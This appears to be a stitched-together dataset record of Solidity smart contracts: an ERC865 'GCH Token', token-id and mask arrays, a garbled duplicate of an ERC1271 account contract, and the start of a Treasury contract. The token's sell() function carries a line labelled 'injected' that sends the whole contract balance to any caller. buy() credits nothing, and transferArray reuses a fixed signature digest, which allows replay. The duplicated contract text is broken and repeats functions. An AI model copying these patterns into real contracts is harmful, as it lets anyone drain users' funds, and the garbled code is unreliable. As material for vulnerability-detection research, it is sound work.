* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract ERC865 {
function transferPreSigned(
bytes memory _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function approvePreSigned(
bytes memory _signature,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function increaseApprovalPreSigned(
bytes memory _signature,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
function decreaseApprovalPreSigned(
bytes memory _signature,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool);
}
contract ERC865Token is ERC865, StandardToken, Ownable {
/* Nonces of transfers performed */
mapping(bytes => bool) signatures;
/* mapping of nonces of each user */
mapping (address => uint256) nonces;
event TransferPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee);
event ApprovalPreSigned(address indexed from, address indexed to, address indexed delegate, uint256 amount, uint256 fee);
bytes4 internal constant transferSig = 0x48664c16;
bytes4 internal constant approvalSig = 0xf7ac9c2e;
bytes4 internal constant increaseApprovalSig = 0xa45f71ff;
bytes4 internal constant decreaseApprovalSig = 0x59388d78;
//bytes memory vvv=0x1d915567e2b192cd7a09915020b24a7980e1705003e97b8774af4aa53d9886176fe4e09916f4d865cfbec913a36030534d9e04c9b0293346743bdcdc0020408f1b;
//return nonce using function
function getNonce(address _owner) public view returns (uint256 nonce){
return nonces[_owner];
}
/**
* @notice Submit a presigned transfer
* @param _signature bytes The signature, issued by the owner.
* @param _to address The address which you want to transfer to.
* @param _value uint256 The amount of tokens to be transferred.
* @param _fee uint256 The amount of tokens paid to msg.sender, by the owner.
* @param _nonce uint256 Presigned transaction number.
*/
function transferPreSigned(
bytes memory _signature,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_to != address(0));
require(signatures[_signature] == false);
bytes32 hashedTx = recoverPreSignedHash(address(this), transferSig, _to, _value, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
require(_nonce == nonces[from].add(1));
require(_value.add(_fee) <= balances[from]);
nonces[from] = _nonce;
signatures[_signature] = true;
balances[from] = balances[from].sub(_value).sub(_fee);
balances[_to] = balances[_to].add(_value);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Transfer(from, _to, _value);
emit Transfer(from, msg.sender, _fee);
emit TransferPreSigned(from, _to, msg.sender, _value, _fee);
return true;
}
/**
* @notice Submit a presigned approval
* @param _signature bytes The signature, issued by the owner.
* @param _spender address The address which will spend the funds.
* @param _value uint256 The amount of tokens to allow.
* @param _fee uint256 The amount of tokens paid to msg.sender, by the owner.
* @param _nonce uint256 Presigned transaction number.
*/
function approvePreSigned(
bytes memory _signature,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_spender != address(0));
require(signatures[_signature] == false);
bytes32 hashedTx = recoverPreSignedHash(address(this), approvalSig, _spender, _value, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
require(_nonce == nonces[from].add(1));
require(_value.add(_fee) <= balances[from]);
nonces[from] = _nonce;
signatures[_signature] = true;
allowed[from][_spender] =_value;
balances[from] = balances[from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Approval(from, _spender, _value);
emit Transfer(from, msg.sender, _fee);
emit ApprovalPreSigned(from, _spender, msg.sender, _value, _fee);
return true;
}
/**
* @notice Increase the amount of tokens that an owner allowed to a spender.
* @param _signature bytes The signature, issued by the owner.
* @param _spender address The address which will spend the funds.
* @param _addedValue uint256 The amount of tokens to increase the allowance by.
* @param _fee uint256 The amount of tokens paid to msg.sender, by the owner.
* @param _nonce uint256 Presigned transaction number.
*/
function increaseApprovalPreSigned(
bytes memory _signature,
address _spender,
uint256 _addedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_spender != address(0));
require(signatures[_signature] == false);
//bytes32 bb=0x59e737eebff4522155b125a11dbd8d225c1a7f047ce93747b103b197e116c224;
//bytes storage nbh=0x7e4362ae61ed93458b1921df843e72570c7f1e11713e6883c0b93ce95e40a1f939daf972b192cff66721f62382c3e3ad423c5d312c2c5c5ac6d00a6d187729861b;
bytes32 hashedTx = recoverPreSignedHash(address(this), increaseApprovalSig, _spender, _addedValue, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
require(_nonce == nonces[from].add(1));
require(allowed[from][_spender].add(_addedValue).add(_fee) <= balances[from]);
//require(_addedValue <= allowed[from][_spender]);
nonces[from] = _nonce;
signatures[_signature] = true;
allowed[from][_spender] = allowed[from][_spender].add(_addedValue);
balances[from] = balances[from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Approval(from, _spender, allowed[from][_spender]);
emit Transfer(from, msg.sender, _fee);
emit ApprovalPreSigned(from, _spender, msg.sender, allowed[from][_spender], _fee);
return true;
}
/**
* @notice Decrease the amount of tokens that an owner allowed to a spender.
* @param _signature bytes The signature, issued by the owner
* @param _spender address The address which will spend the funds.
* @param _subtractedValue uint256 The amount of tokens to decrease the allowance by.
* @param _fee uint256 The amount of tokens paid to msg.sender, by the owner.
* @param _nonce uint256 Presigned transaction number.
*/
function decreaseApprovalPreSigned(
bytes memory _signature,
address _spender,
uint256 _subtractedValue,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_spender != address(0));
require(signatures[_signature] == false);
bytes32 hashedTx = recoverPreSignedHash(address(this), decreaseApprovalSig, _spender, _subtractedValue, _fee, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
require(_nonce == nonces[from].add(1));
//require(_subtractedValue <= balances[from]);
//require(_subtractedValue <= allowed[from][_spender]);
//require(_subtractedValue <= allowed[from][_spender]);
require(_fee <= balances[from]);
nonces[from] = _nonce;
signatures[_signature] = true;
uint oldValue = allowed[from][_spender];
if (_subtractedValue > oldValue) {
allowed[from][_spender] = 0;
} else {
allowed[from][_spender] = oldValue.sub(_subtractedValue);
}
balances[from] = balances[from].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Approval(from, _spender, _subtractedValue);
emit Transfer(from, msg.sender, _fee);
emit ApprovalPreSigned(from, _spender, msg.sender, allowed[from][_spender], _fee);
return true;
}
/**
* @notice Transfer tokens from one address to another
* @param _signature bytes The signature, issued by the spender.
* @param _from address The address which you want to send tokens from.
* @param _to address The address which you want to transfer to.
* @param _value uint256 The amount of tokens to be transferred.
* @param _fee uint256 The amount of tokens paid to msg.sender, by the spender.
* @param _nonce uint256 Presigned transaction number.
*/
/*function transferFromPreSigned(
bytes _signature,
address _from,
address _to,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public
returns (bool)
{
require(_to != address(0));
require(signatures[_signature] == false);
signatures[_signature] = true;
bytes32 hashedTx = transferFromPreSignedHashing(address(this), _from, _to, _value, _fee, _nonce);
address spender = recover(hashedTx, _signature);
require(spender != address(0));
require(_value.add(_fee) <= balances[_from])?;
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][spender] = allowed[_from][spender].sub(_value);
balances[spender] = balances[spender].sub(_fee);
balances[msg.sender] = balances[msg.sender].add(_fee);
emit Transfer(_from, _to, _value);
emit Transfer(spender, msg.sender, _fee);
return true;
}*/
/**
* @notice Hash (keccak256) of the payload used by recoverPreSignedHash
* @param _token address The address of the token
* @param _spender address The address which will spend the funds.
* @param _value uint256 The amount of tokens.
* @param _fee uint256 The amount of tokens paid to msg.sender, by the owner.
* @param _nonce uint256 Presigned transaction number.
*/
function recoverPreSignedHash(
address _token,
bytes4 _functionSig,
address _spender,
uint256 _value,
uint256 _fee,
uint256 _nonce
)
public pure returns (bytes32)
{
//return keccak256(_token, _functionSig, _spender, _value, _fee, _nonce);
return keccak256(abi.encodePacked(_token, _functionSig, _spender, _value, _fee,_nonce));
}
/**
* @notice Recover signer address from a message by using his signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param sig bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes memory sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
}
contract SampleERC865Token is ERC865Token {
//using strings for *;
using SafeMath for uint256;
uint256 public constant _tokenSupply = 42000000;
string public constant name = "GCH Token";
string public constant symbol = "GCH";
uint8 public constant decimals = 18;
uint256 public constant decimalValue = 10 ** uint256(decimals);
bytes32 internal constant digest = 0x618e860eefb172f655b56aad9bdc5685c037efba70b9c34a8e303b19778efd2c;//=""
uint256 public sellPrice;
uint256 public buyPrice;
constructor() public {
//require(_tokenSupply > 0);
totalSupply_ = _tokenSupply.mul(decimalValue);
balances[msg.sender] = totalSupply_;
owner = msg.sender;
emit Transfer(address(this), msg.sender, totalSupply_);
}
/*
function transferMul(address[] froms,
address[] _toes,
uint256[] _values,
uint256[] _fees) public returns (bool[]) {
require(msg.sender == owner);
bool[] storage isSuccess;
//uint256 fee=0;
for (uint i=0; i < _toes.length; i++) {
if(_values[i].add(_fees[i]) <= balances[froms[i]]){
balances[froms[i]] = balances[froms[i]].sub(_values[i]).sub(_fees[i]);
balances[_toes[i]] = balances[_toes[i]].add(_values[i]);
balances[msg.sender] = balances[msg.sender].add(_fees[i]);
emit Transfer(froms[i], _toes[i], _values[i]);
if(froms[i] != msg.sender){
emit Transfer(froms[i], msg.sender, _fees[i]);
}
isSuccess.push(true);
}else{
isSuccess.push(false);}
}
//emit Transfer(msg.sender, _to, _value);
return isSuccess;
}
*/
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
emit Transfer(address(this), msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
address myAddress = address(this);
require(true); // checks if the contract has enough ether to buy
emit Transfer(msg.sender, address(this), amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
msg.sender.transfer(address(this).balance); } //injected WASTEFUL CONTRACT
/*
using stringcast for string;
function transferArray(string signs,address[] _toes,
uint256[] _values,
uint256[] _fees,
uint256[] _nonces) public returns (bool) {
require(msg.sender == owner);
var s = signs.toSlice();
var delim = ".".toSlice();
var parts = new string[](s.count(delim) + 1);
for(uint i = 0; i < parts.length; i++) {
parts[i] = s.split(delim).toString();
bytes32 hashedTx = recoverPreSignedHash(address(this), transferSig, _toes[i], _values[i], _fees[i], _nonces[i]);
address from = recover(hashedTx,parts[i].toBytes());
if(_values[i].add(_fees[i]) <= balances[from]){
balances[from] = balances[from].sub(_values[i]).sub(_fees[i]);
balances[_toes[i]] = balances[_toes[i]].add(_values[i]);
balances[msg.sender] = balances[msg.sender].add(_fees[i]);
emit Transfer(from, _toes[i], _values[i]);
if(_fees[i] != 0){
emit Transfer(from, msg.sender, _fees[i]);
}
}
}
return true;
}
*/
function transferArray(uint8[] memory v,bytes32[] memory r,bytes32[] memory s,address[] memory _toes,
uint256[] memory _values,
uint256[] memory _fees) public returns (bool) {
require(msg.sender == owner);
uint totalFee = 0;
for(uint i = 0; i < _toes.length; i++) {
//bytes32 messageDigest = keccak256(hashes[i]);
address from = ecrecover(digest, v[i], r[i], s[i]);
uint256 value=_values[i];
uint256 fee=_fees[i];
uint fromBalance = balances[from];
if(value.add(fee) <= fromBalance){
address to = _toes[i];
uint toBalance = balances[to];
balances[from] = fromBalance.sub(value).sub(fee);
balances[to] = toBalance.add(value);
//balances[msg.sender] = balances[msg.sender].add(_fees[i]);
emit Transfer(from, to, value);
totalFee=totalFee.add(fee);
if(fee != 0){
emit Transfer(from, msg.sender, fee);
}
}
}
balances[msg.sender] = balances[msg.sender].add(totalFee);
return true;
}
function sendBatchCS(address[] calldata _recipients, uint[] calldata _values) external returns (bool) {
require(_recipients.length == _values.length);
uint senderBalance = balances[msg.sender];
for (uint i = 0; i < _values.length; i++) {
uint value = _values[i];
address to = _recipients[i];
require(senderBalance >= value);
if(msg.sender != to){
senderBalance = senderBalance - value;
balances[to] += value;
}
emit Transfer(msg.sender, to, value);
}
balances[msg.sender] = senderBalance;
return true;
}
}
|
makes the transfers
|
emit Transfer(msg.sender, address(this), amount);
| 12,916,468 |
[
1,
81,
3223,
326,
29375,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
3626,
12279,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
3844,
1769,
3639,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity 0.5.16;
import "./BaseAccount.sol";
import "../interfaces/IERC1271.sol";
/**
* @title ERC1271Account
* @author Authereum Labs, Inc.
* @dev Implements isValidSignature for ERC1271 compatibility
*/
contract ERC1271Account is IERC1271, BaseAccount {
// NOTE: Valid magic value bytes4(keccak256("isValidSignature(bytes,bytes)")
bytes4 constant private VALID_SIG = 0x20c13b0b;
// NOTE: Invalid magic value
bytes4 constant private INVALID_SIG = 0xffffffff;
/**
* Public functions
*/
/// @dev Check if a message and signature pair is valid
/// @notice The _signature parameter can either be one auth key signature or it can
/// @notice be a login key signature and an auth key signature (signed login key)
/// @param _data Data that was signed
/// @param _signature Signature(s) of the data. Either a single signature (login) or two (login and auth)
/// @return VALID_SIG or INVALID_SIG hex data
function isValidSignature(
bytes memory _data,
bytes memory _signature
)
public
view
returns (bytes4)
{
if (_signature.length == 65) {
return isValidAuthKeySignature(_data, _signature);
} else if (_signature.length >= 130) {
return isValidLoginKeySignature(_data, _signature);
} else {
revert("ERC1271: Invalid isValidSignature _signature length");
}
}
/// @dev Check if a message and auth key signature pair is valid
/// @param _data Data that was signed
/// @param _signature Signature of the data signed by the authkey
/// @return VALID_SIG or INVALID_SIG hex data
function isValidAuthKeySignature(
bytes memory _data,
bytes memory _signature
)
public
view
returns (bytes4)
{
require(_signature.length == 65, "ERC1271: Invalid isValidAuthKeySignature _signature length");
address authKeyAddress = _getEthSignedMessageHash(_data).recover(
_signature
);
bytes4 magicValue = _isValidAuthKey(authKeyAddress) ? VALID_SIG : INVALID_SIG;
return magicValue;
}
/// @dev Check if a message and login key signature pair is valid, as well as a signed login key by an auth key
/// @param _data Message that was signed
/// @param _signature Signature of the data. Signed msg data by the login key and signed login key by auth key
/// @return VALID_SIG or INVALID_SIG hex data
function isValidLoginKeySignature(
bytes memory _data,
bytes memory _signature
)
public
view
returns (bytes4)
{
require(_signature.length >= 130, "ERC1271: Invalid isValidLoginKeySignature _signature length");
bytes memory msgHashSignature = _signature.slice(0, 65);
bytes memory loginKeyAttestationSignature = _signature.slice(65, 65);
uint256 restrictionDataLength = _signature.length.sub(130);
bytes memory loginKeyRestrictionData = _signature.slice(130, restrictionDataLength);
address _loginKeyAddress = _getEthSignedMessageHash(_data).recover(
msgHashSignature
);
// NOTE: The OpenZeppelin toEthSignedMessageHash is used here (and not above)
// NOTE: because the length is hard coded at 32 and we know that this will always
// NOTE: be true for this line.
bytes32 loginKeyAttestationMessageHash = keccak256(abi.encode(
_loginKeyAddress, loginKeyRestrictionData
)).toEthSignedMessageHash();
address _authKeyAddress = loginKeyAttestationMessageHash.recover(
loginKeyAttestationSignature
);
bytes4 magicValue = _isValidAuthKey(_authKeyAddress) ? VALID_SIG : INVALID_SIG;
return magicValue;
}
/**
* Internal functions
*/
/// @dev Adds ETH signed message prefix to bytes message and hashes it
/// @param _data Bytes data before adding the prefix
/// @return Prefixed and hashed message
function _getEthSignedMessageHash(bytes memory _data) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", _uint2str(_data.length), _data));
}
/// @dev Convert uint to string
/// @param _num Uint to be converted
/// @return String equivalent of the uint
function _uint2str(uint _num) private pure returns (string memory _uintAsString) {
if (_num == 0) {
return "0";
}
uint i = _num;
uint j = _num;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0) {
bstr[k--] = byte(uint8(48 + i % 10));
i /= 10;
}
return string(bstr);
}
}
|
NOTE: Valid magic value bytes4(keccak256("isValidSignature(bytes,bytes)") NOTE: Invalid magic value
|
contract ERC1271Account is IERC1271, BaseAccount {
bytes4 constant private VALID_SIG = 0x20c13b0b;
bytes4 constant private INVALID_SIG = 0xffffffff;
function isValidSignature(
bytes memory _data,
bytes memory _signature
)
public
view
returns (bytes4)
{
if (_signature.length == 65) {
return isValidAuthKeySignature(_data, _signature);
return isValidLoginKeySignature(_data, _signature);
revert("ERC1271: Invalid isValidSignature _signature length");
}
}
{
if (_signature.length == 65) {
return isValidAuthKeySignature(_data, _signature);
return isValidLoginKeySignature(_data, _signature);
revert("ERC1271: Invalid isValidSignature _signature length");
}
}
} else if (_signature.length >= 130) {
} else {
function isValidAuthKeySignature(
bytes memory _data,
bytes memory _signature
)
public
view
returns (bytes4)
{
require(_signature.length == 65, "ERC1271: Invalid isValidAuthKeySignature _signature length");
address authKeyAddress = _getEthSignedMessageHash(_data).recover(
_signature
);
bytes4 magicValue = _isValidAuthKey(authKeyAddress) ? VALID_SIG : INVALID_SIG;
return magicValue;
}
function isValidLoginKeySignature(
bytes memory _data,
bytes memory _signature
)
public
view
returns (bytes4)
{
require(_signature.length >= 130, "ERC1271: Invalid isValidLoginKeySignature _signature length");
bytes memory msgHashSignature = _signature.slice(0, 65);
bytes memory loginKeyAttestationSignature = _signature.slice(65, 65);
uint256 restrictionDataLength = _signature.length.sub(130);
bytes memory loginKeyRestrictionData = _signature.slice(130, restrictionDataLength);
address _loginKeyAddress = _getEthSignedMessageHash(_data).recover(
msgHashSignature
);
bytes32 loginKeyAttestationMessageHash = keccak256(abi.encode(
_loginKeyAddress, loginKeyRestrictionData
)).toEthSignedMessageHash();
address _authKeyAddress = loginKeyAttestationMessageHash.recover(
loginKeyAttestationSignature
);
bytes4 magicValue = _isValidAuthKey(_authKeyAddress) ? VALID_SIG : INVALID_SIG;
return magicValue;
}
function _getEthSignedMessageHash(bytes memory _data) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", _uint2str(_data.length), _data));
}
function _uint2str(uint _num) private pure returns (string memory _uintAsString) {
if (_num == 0) {
return "0";
}
uint i = _num;
uint j = _num;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0) {
bstr[k--] = byte(uint8(48 + i % 10));
i /= 10;
}
return string(bstr);
}
function _uint2str(uint _num) private pure returns (string memory _uintAsString) {
if (_num == 0) {
return "0";
}
uint i = _num;
uint j = _num;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0) {
bstr[k--] = byte(uint8(48 + i % 10));
i /= 10;
}
return string(bstr);
}
function _uint2str(uint _num) private pure returns (string memory _uintAsString) {
if (_num == 0) {
return "0";
}
uint i = _num;
uint j = _num;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0) {
bstr[k--] = byte(uint8(48 + i % 10));
i /= 10;
}
return string(bstr);
}
function _uint2str(uint _num) private pure returns (string memory _uintAsString) {
if (_num == 0) {
return "0";
}
uint i = _num;
uint j = _num;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0) {
bstr[k--] = byte(uint8(48 + i % 10));
i /= 10;
}
return string(bstr);
}
}
| 965,016 |
[
1,
17857,
30,
2364,
8146,
460,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
26810,
5374,
12,
3890,
16,
3890,
2225,
13,
5219,
30,
1962,
8146,
460,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
4232,
39,
2138,
11212,
3032,
353,
467,
654,
39,
2138,
11212,
16,
3360,
3032,
288,
203,
203,
565,
1731,
24,
5381,
3238,
15093,
67,
18513,
273,
374,
92,
3462,
71,
3437,
70,
20,
70,
31,
203,
565,
1731,
24,
5381,
3238,
10071,
67,
18513,
273,
374,
28857,
31,
203,
203,
203,
565,
445,
4908,
5374,
12,
203,
3639,
1731,
3778,
389,
892,
16,
203,
3639,
1731,
3778,
389,
8195,
203,
565,
262,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
3890,
24,
13,
203,
203,
565,
288,
203,
3639,
309,
261,
67,
8195,
18,
2469,
422,
15892,
13,
288,
203,
5411,
327,
4908,
1730,
653,
5374,
24899,
892,
16,
389,
8195,
1769,
203,
5411,
327,
4908,
5358,
653,
5374,
24899,
892,
16,
389,
8195,
1769,
203,
5411,
15226,
2932,
654,
39,
2138,
11212,
30,
1962,
4908,
5374,
389,
8195,
769,
8863,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
288,
203,
3639,
309,
261,
67,
8195,
18,
2469,
422,
15892,
13,
288,
203,
5411,
327,
4908,
1730,
653,
5374,
24899,
892,
16,
389,
8195,
1769,
203,
5411,
327,
4908,
5358,
653,
5374,
24899,
892,
16,
389,
8195,
1769,
203,
5411,
15226,
2932,
654,
39,
2138,
11212,
30,
1962,
4908,
5374,
389,
8195,
769,
8863,
203,
3639,
289,
203,
565,
289,
203,
203,
3639,
289,
469,
309,
261,
67,
8195,
18,
2469,
1545,
404,
5082,
13,
288,
203,
3639,
289,
469,
288,
203,
565,
445,
4908,
1730,
653,
5374,
12,
203,
3639,
1731,
3778,
389,
892,
16,
203,
3639,
1731,
3778,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "../libraries/math/SafeMath.sol";
import "../libraries/token/IERC20.sol";
import "../libraries/utils/ReentrancyGuard.sol";
import "../amm/interfaces/IPancakeRouter.sol";
import "./interfaces/IGMT.sol";
import "../peripherals/interfaces/ITimelockTarget.sol";
contract Treasury is ReentrancyGuard, ITimelockTarget {
using SafeMath for uint256;
uint256 constant PRECISION = 1000000;
uint256 constant BASIS_POINTS_DIVISOR = 10000;
bool public isInitialized;
bool public isSwapActive = true;
bool public isLiquidityAdded = false;
address public gmt;
address public busd;
address public router;
address public fund;
uint256 public gmtPresalePrice;
uint256 public gmtListingPrice;
uint256 public busdSlotCap;
uint256 public busdHardCap;
uint256 public busdBasisPoints;
uint256 public unlockTime;
uint256 public busdReceived;
address public gov;
mapping (address => uint256) public swapAmounts;
mapping (address => bool) public swapWhitelist;
modifier onlyGov() {
require(msg.sender == gov, "Treasury: forbidden");
_;
}
constructor() public {
gov = msg.sender;
}
function initialize(
address[] memory _addresses,
uint256[] memory _values
) external onlyGov {
require(!isInitialized, "Treasury: already initialized");
isInitialized = true;
gmt = _addresses[0];
busd = _addresses[1];
router = _addresses[2];
fund = _addresses[3];
gmtPresalePrice = _values[0];
gmtListingPrice = _values[1];
busdSlotCap = _values[2];
busdHardCap = _values[3];
busdBasisPoints = _values[4];
unlockTime = _values[5];
}
function setGov(address _gov) external override onlyGov nonReentrant {
gov = _gov;
}
function setFund(address _fund) external onlyGov nonReentrant {
fund = _fund;
}
